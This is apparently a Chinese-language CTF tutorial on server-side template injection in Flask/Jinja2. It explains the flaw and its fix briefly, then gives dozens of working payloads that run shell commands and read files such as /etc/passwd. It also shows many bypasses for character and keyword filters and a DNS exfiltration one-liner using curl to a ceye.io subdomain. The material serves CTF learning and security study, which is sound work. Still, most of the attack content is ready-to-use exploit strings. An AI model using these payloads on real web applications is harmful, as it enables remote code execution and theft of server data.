突突掉Python_jinjia2->SSTI
前言
SSTI(Server-Side Template Injection)服务端模板注入在CTF中并不是一个新颖的考点了,之前略微学习过,但是最近的大小比赛比如说安洵杯,祥云杯,太湖杯,南邮CTF,上海大学生安全竞赛等等比赛都频频出现,而且赛后看到师傅们各种眼花缭乱的payload,无法知晓其中的原理,促使我写了这篇文章来总结各种bypass SSTI的方法。
**本文涉及知识点实操练习-Flask服务端模板注入漏洞:**通过该实验了解服务端模板注入漏洞的危害与利用。
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基础知识
本篇文章从Flask的模板引擎Jinja2入手,CTF中大多数也都是使用这种模板引擎
模板的基本语法
官方文档对于模板的语法介绍如下
1 | {% ... %} for Statements |
这里我们逐条来看
{%%}
主要用来声明变量,也可以用于条件语句和循环语句。
1 | {% set c= 'kawhi' %} |
{{}}
用于将表达式打印到模板输出,比如我们一般在里面输入2-1
,2*2
,或者是字符串,调用对象的方法,都会渲染出结果
1 | {{2-1}} #输出1 |
我们通常会用{{2*2}}
简单测试页面是否存在SSTI
- ``
表示未包含在模板输出中的注释
##
有和{%%}
相同的效果
这里的模板注入主要用到的是{{}}
和{%%}
常见的魔术方法
__class__
用于返回对象所属的类
1 | Python 3.7.8 |
__base__
以字符串的形式返回一个类所继承的类
__bases__
以元组的形式返回一个类所继承的类
__mro__
返回解析方法调用的顺序,按照子类到父类到父父类的顺序返回所有类
1 | Python 3.7.8 |
__subclasses__()
获取类的所有子类
__init__
所有自带带类都包含init
方法,常用他当跳板来调用globals
__globals__
会以字典类型返回当前位置的全部模块,方法和全局变量,用于配合init
使用
漏洞成因与防御
存在模板注入漏洞原因有二,一是存在用户输入变量可控,二是了使用不固定的模板,这里简单给出一个存在SSTI的代码如下
1 | ssti.py |
我们简单输入一个{{2-1}}
,返回了1,说明存在模板注入
而如果存在SSTI的话,我们就可以利用上面的魔术方法去构造可以读文件或者直接getshell的漏洞
如何拒绝这种漏洞呢,其实很简单只需要使用固定的模板即可,正确的代码应该如下
1 | ssti2.py |
1 | index.html |
可以看到原封不动的输出了{{2-1}}
构造链思路
这里从零开始介绍如何去构造SSTI漏洞的payload,可以用上面存在SSTI漏洞的ssti.py
做实验
- 第一步
目的:使用__class__
来获取内置类所对应的类
可以通过使用str
,list
,tuple
,dict
等来获取
- 第二步
目的:拿到object
基类
用__bases__[0]
拿到基类
1 | Python 3.7.8 |
用__base__
拿到基类
1 | Python 3.7.8 |
用__mro__[1]
或者__mro__[-1]
拿到基类
1 | Python 3.7.8 |
- 第三步
用__subclasses__()
拿到子类列表
1 | Python 3.7.8 |
- 第四步
在子类列表中找到可以getshell的类
寻找利用类
在上述的第四步中,如何快速的寻找利用类呢
利用脚本跑索引
我们一般来说是先知晓一些可以getshell的类,然后再去跑这些类的索引,然后这里先讲述如何去跑索引,再详写可以getshell的类
这里先给出一个在本地遍历的脚本,原理是先遍历所有子类,然后再遍历子类的方法的所引用的东西,来搜索是否调用了我们所需要的方法,这里以popen
为例子
1 | find.py |
我们运行这个脚本
1 | λ python3 find.py |
可以发现object
基类的第128个子类名为os._wrap_close
的这个类有popen方法
先调用它的__init__
方法进行初始化类
1 | Python 3.7.8 |
再调用__globals__
可以获取到方法内以字典的形式返回的方法、属性等值
1 | Python 3.7.8 |
然后就可以调用其中的popen来执行命令
1 | Python 3.7.8 |
但是上面的方法仅限于在本地寻找,因为在做CTF题目的时候,我们无法在题目环境中运行这个find.py
,这里用hhhm师傅的一个脚本直接去寻找子类
我们首先把所有的子类列举出来
1 | Python 3.7.8 |
然后把子类列表放进下面脚本中的a中,然后寻找os._wrap_close
这个类
1 | find2.py |
又或者用如下的requests
脚本去跑
1 | find3.py |
tips:后面的各种方法都是利用这种思路寻找到可以getshell类的位置
python3的方法
os._wrap_close
类中的popen
在上面的例子中就是用的这个方法,payload如下
1 | {{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}} |
__import__
中的os
把上面find.py
脚本中的search变量换成__import__
可以看到有5个类下是包含__import__
的,随便用一个即可
payload如下
1 | {{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}} |
python2的方法
因为python3和python2两个版本下有差别,这里把python2单独拿出来说
tips:python2的string
类型不直接从属于属于基类,所以要用两次 __bases__[0]
file
类读写文件
本方法只能适用于python2,因为在python3中file
类已经被移除了
可以使用dir查看file对象中的内置方法
1 | >>> dir(().__class__.__bases__[0].__subclasses__()[40]) |
然后直接调用里面的方法即可,payload如下
读文件
1 | {{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()}} |
warnings
类中的linecache
本方法只能用于python2,因为在python3中会报错'function object' has no attribute 'func_globals'
,猜测应该是python3中func_globals
被移除了还是啥的,如果不对请师傅们指出
我们把上面的find.py
脚本中的search变量赋值为linecache
,去寻找含有linecache
的类
1 | λ python find.py |
后面如法炮制,payload如下
1 | {{[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].os.popen('whoami').read()}} |
python2&3的方法
这里介绍python2和python3两个版本通用的方法
__builtins__
代码执行
这种方法是比较常用的,因为他两种python版本都适用
首先__builtins__
是一个包含了大量内置函数的一个模块,我们平时用python的时候之所以可以直接使用一些函数比如abs
,max
,就是因为__builtins__
这类模块在Python启动时为我们导入了,可以使用dir(__builtins__)
来查看调用方法的列表,然后可以发现__builtins__
下有eval
,__import__
等的函数,因此可以利用此来执行命令。
把上面find.py
脚本search变量赋值为__builtins__
,然后找到第140个类warnings.catch_warnings
含有他,而且这里的话比较多的类都含有__builtins__
,比如常用的还有email.header._ValueFormatter
等等,这也可能是为什么这种方法比较多人用的原因之一吧
再调用eval
等函数和方法即可,payload如下
1 | {{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")}} |
又或者用如下两种方式,用模板来跑循环
1 | {% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %} |
读取文件payload
1 | {% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %} |
然后这里再提一个比较少人提到的点
warnings.catch_warnings
类在在内部定义了_module=sys.modules['warnings']
,然后warnings
模块包含有__builtins__
,也就是说如果可以找到warnings.catch_warnings
类,则可以不使用globals
,payload如下
1 | {{''.__class__.__mro__[1].__subclasses__()[40]()._module.__builtins__['__import__']("os").popen('whoami').read()}} |
总而言之,原理都是先找到含有__builtins__
的类,然后再进一步利用
subprocess.Popen
进行RCE
我们可以用find2.py
寻找subprocess.Popen
这个类,可以直接RCE,payload如下
1 | {{''.__class__.__mro__[2].__subclasses__()[258]('whoami',shell=True,stdout=-1).communicate()[0].strip()}} |
- 直接利用
os
一开始我以为这种方法只能用于python2,因为我在本地实验的时候python3中无法找到直接含有os的类,但后来发现python3其实也是能够用的,主要是环境里面有这个那个类才行
我们把上面的find.py
脚本中的search变量赋值为os,去寻找含有os的类
1 | λ python find.py |
后面如法炮制,payload如下
1 | {{().__class__.__base__.__subclasses__()[69].__init__.__globals__['os'].popen('whoami').read()}} |
获取配置信息
我们有时候可以使用flask的内置函数比如说url_for
,get_flashed_messages
,甚至是内置的对象request
来查询配置信息或者是构造payload
config
我们通常会用{{config}}
查询配置信息,如果题目有设置类似app.config ['FLAG'] = os.environ.pop('FLAG')
,就可以直接访问{{config['FLAG']}}
或者{{config.FLAG}}
获得flag
request
jinja2中存在对象request
1 | Python 3.7.8 |
查询一些配置信息
1 | {{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config}} |
构造ssti的payload
1 | {{request.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}} |
url_for
查询配置信息
1 | {{url_for.__globals__['current_app'].config}} |
构造ssti的payload
1 | {{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}} |
get_flashed_messages
查询配置信息
1 | {{get_flashed_messages.__globals__['current_app'].config}} |
构造ssti的payload
1 | {{get_flashed_messages.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}} |
绕过黑名单
CTF中一般考的就是怎么绕过SSTI,我们学会如何去构造payload之后,还要学习如何去绕过一些过滤,然后下面由于环境的不同,payload中类的位置也是就那个数字可能会和文章中不一样,需要自己动手测一下
过滤了点
过滤了.
在python中,可用以下表示法可用于访问对象的属性
1 | {{().__class__}} |
也就是说我们可以通过[]
,attr()
,getattr()
来绕过点
- 使用
[]
绕过
使用访问字典的方式来访问函数或者类等,下面两行是等价的
1 | {{().__class__}} |
以此,我们可以构造payload如下
1 | {{()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}} |
- 使用
attr()
绕过
使用原生JinJa2的函数attr()
,以下两行是等价的
1 | {{().__class__}} |
以此,我们可以构造payload如下
1 | {{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}} |
- 使用
getattr()
绕过
这种方法有时候由于环境问题不一定可行,会报错'getattr' is undefined
,所以优先使用以上两种
1 | Python 3.7.8 |
过滤引号
过滤了'
和"
request
绕过
flask中存在着request
内置对象可以得到请求的信息,request
可以用5种不同的方式来请求信息,我们可以利用他来传递参数绕过
1 | request.args.name |
payload如下
GET
方式,利用request.args
传递参数
1 | {{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd |
POST
方式,利用request.values
传递参数
1 | {{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}} |
Cookie
方式,利用request.cookies
传递参数
1 | {{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}} |
剩下两种方法也差不多,这里就不赘述了
- chr绕过
1 | {{().__class__.__base__.__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}} |
这里先爆破subclasses
,获取subclasses
中含有chr的类索引
然后就可以用chr来绕过传参时所需要的引号,然后需要用chr来构造需要的字符
这里我写了个脚本可以快速构造想要的ascii字符
1 | <?php |
最后payload如下
1 | {% set chr = ().__class__.__base__.__subclasses__()[7].__init__.__globals__.__builtins__.chr %}{{().__class__.__base__.__subclasses__()[257].__init__.__globals__.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read()}} |
过滤下划线
过滤了_
- 编码绕过
使用十六进制编码绕过,_
编码后为\x5f
,.
编码后为\x2E
payload如下
1 | {{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[376]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['popen']('whoami')['read']()}} |
这里甚至可以全十六进制绕过,顺便把关键字也一起绕过,这里先给出个python脚本方便转换
1 | string1="__class__" |
随便构造个payload如下
1 | {{""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[64]["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f"]["\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f"]("\x6f\x73")["\x70\x6f\x70\x65\x6e"]("whoami")["\x72\x65\x61\x64"]()}} |
request
绕过
在上面的过滤引号已经介绍过了,这里不再赘述
过滤关键字
首先要看关键字是如何被过滤的
如果是替换为空,可以尝试双写绕过,或者使用黑名单逻辑漏洞错误绕过,即使用黑名单最后一个关键字替换绕过
如果直接ban了,就可以使用字符串拼接的方式等方法进行绕过,常用方法如下
- 拼接字符绕过
这里以过滤class为例子,用中括号括起来然后里面用引号连接,可以用+
号或者不用
1 | {{()['__cla'+'ss__'].__bases__[0]}} |
随便写个payload如下
1 | {{()['__cla''ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev''al']("__im""port__('o''s').po""pen('whoami').read()")}} |
或者可以使用join来进行拼接
1 | {{()|attr(["_"*2,"cla","ss","_"*2]|join)}} |
看到有师傅甚至用管道符加上format
方法来拼接的骚操作,也就是我们平时说的格式化字符串,其中的%s
被l
替换
1 | {{()|attr(request.args.f|format(request.args.a))}}&f=__c%sass__&a=l |
- 使用使用
str
原生函数
replace
绕过,payload如下
1 | {{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}} |
decode
绕过,但这种方法经过测试只能在python2下使用,payload如下
1 | {{().__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}} |
- 替代的方法
过滤init,可以用__enter__
或__exit__
替代
1 | {{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}} |
过滤config,我们通常会用{{config}}
获取当前设置,如果被过滤了可以使用以下的payload绕过
1 | {{self}} ⇒ <TemplateReference None> |
过滤中括号
过滤了[
和]
- 数字中的中括号
在python里面可以使用以下方法访问数组元素
1 | Python 3.7.8 |
也就是说可以使用__getitem__
和pop
替代中括号,取列表的第n位
payload如下
1 | {{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(433).__init__.__globals__.popen('whoami').read()} |
- 魔术方法的中括号
调用魔术方法本来是不用中括号的,但是如果过滤了关键字,要进行拼接的话就不可避免要用到中括号,像这里如果同时过滤了class和中括号
可用__getattribute__
绕过
1 | {{"".__getattribute__("__cla"+"ss__").__base__}} |
或者可以配合request
一起使用
1 | {{().__getattribute__(request.args.arg1).__base__}}&arg1=__class__ |
payload如下
1 | {{().__getattribute__(request.args.arg1).__base__.__subclasses__().pop(376).__init__.__globals__.popen(request.args.arg2).read()}}&arg1=__class__&arg2=whoami |
这种同样是绕过关键字的方法之一
过滤双大括号
过滤了{{`和`}}
- 使用dns外带数据
用{%%}
替代了{{}}
,使用判断语句进行dns外带数据
1 | {% if ().__class__.__base__.__subclasses__()[433].__init__.__globals__['popen']("curl `whoami`.k1o75b.ceye.io").read()=='kawhi' %}1{% endif %} |
然后在ceye平台接收数据即可
- 盲注
如果上面的方法不行的话,可以考虑使用盲注的方式,这里附上p0师傅的脚本
1 | # -*- coding: utf-8 -*- |
print
标记
我们上面之所以要dnslog外带数据以及使用盲注,是因为用{%%}
会没有回显,这里的话可以使用print
来做一个标记使得他有回显,比如{%print config%}
,payload如下
1 | {%print ().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")%} |
payload进阶与拓展
这里我基于上面绕过黑名单各种方法的组合,对CTF中用到的一些方法和payload再做一个小的总结,不过其实一般来说,只要不是太偏太绕的题,上面的方法自行组合一下都够用了,下面只是作为一个拓展
过滤_
和.
和'
这里顺便给一个不常见的方法,主要是找到_frozen_importlib_external.FileLoader
的get_data()
方法,第一个是参数0,第二个为要读取的文件名,payload如下
1 | {{().__class__.__bases__[0].__subclasses__()[222].get_data(0,"app.py")}} |
使用十六进制绕过后,payload如下
1 | {{()["\x5f\x5fclass\x5f\x5f"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[222]["get\x5Fdata"](0, "app\x2Epy")}} |
过滤args
和.
和_
之前某二月赛在y1ng师傅博客看到的一个payload,原理并不难,这里使用了attr()
绕过点,values
绕过args
,payload如下
1 | {{()|attr(request['values']['x1'])|attr(request['values']['x2'])|attr(request['values']['x3'])()|attr(request['values']['x4'])(40)|attr(request['values']['x5'])|attr(request['values']['x6'])|attr(request['values']['x4'])(request['values']['x7'])|attr(request['values']['x4'])(request['values']['x8'])(request['values']['x9'])}} |
导入主函数读取变量
有一些题目我们不并需要去getshell,比如flag直接暴露在变量里面了,像如下这样把/flag
文件加载到flag这个变量里面了
1 | f = open('/flag','r') |
我们就可以通过import
是导入__main__
主函数去读变量,payload如下
1 | {%print request.application.__globals__.__getitem__('__builtins__').__getitem__('__import__')('__main__').flag %} |
Unicode绕过
这种方法是从安洵杯2020 官方Writeup学到的,我们直奔主题看payload
1 | {%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22))|attr(%22\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f%22)(%22os%22)|attr(%22popen%22)(%22whoami%22)|attr(%22read%22)()%} |
这里的print
绕过{{}}
和attr
绕过.
上面已经说过了这里不赘述
然后这里的lipsum
用{{lipsum}}
测了一下发现是个方法
1 | <function generate_lorem_ipsum at 0x7fcddfa296a8> |
然后用他直接调用__globals__
发现可以直接执行os命令,测了一下发现__builtins__
也可以用,又学到了一种新方法,只能说师傅们tql
1 | {{lipsum.__globals__['os'].popen('whoami').read()}} |
回到正题,这里使用了Unicode编码绕过关键字,下面两行是等价的
1 | {{()|attr("__class__")}} |
知道了这两点之后,那个官方给的payload就很明朗了,解开编码后如下
1 | {%print(lipsum|attr("__globals__"))|attr("__getitem__")("os")|attr("popen")("whoami")|attr("read")()%} |
然后我这里顺便给个Unicode互转的php脚本
1 | <?php |
魔改字符
这种方法是在太湖杯easyWeb这道题目学到的,上面所说的过滤双大括号,在一些特定的题目可以魔改{{}}
,比如说这道题由于有个字符规范器可以把我们输入的文本标准化,所以可以使用这种方法
可以在Unicode字符网站寻找绕过的字符,直接在网址搜索{
,就会出现类似的字符,就可以找到︷
和︸
了,网址:https://www.compart.com/en/unicode/U+FE38
payload如下
1 | ︷︷config︸︸ |
还可以使用中文的字符魔改
1 | { { |
payload如下
1 | {{url_for.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()')}} |
总结
因为水平和文章篇幅有限,可能还有一些bypass方法没有提到,还有就是CTF中也不只考Jinja2这种模板,还有另外的Twig模板,smart等模板,这些就等以后有必要再更吧,最后就是有不足之处请各位师傅指出
参考链接
1 | https://p0sec.net/index.php/archives/120/ |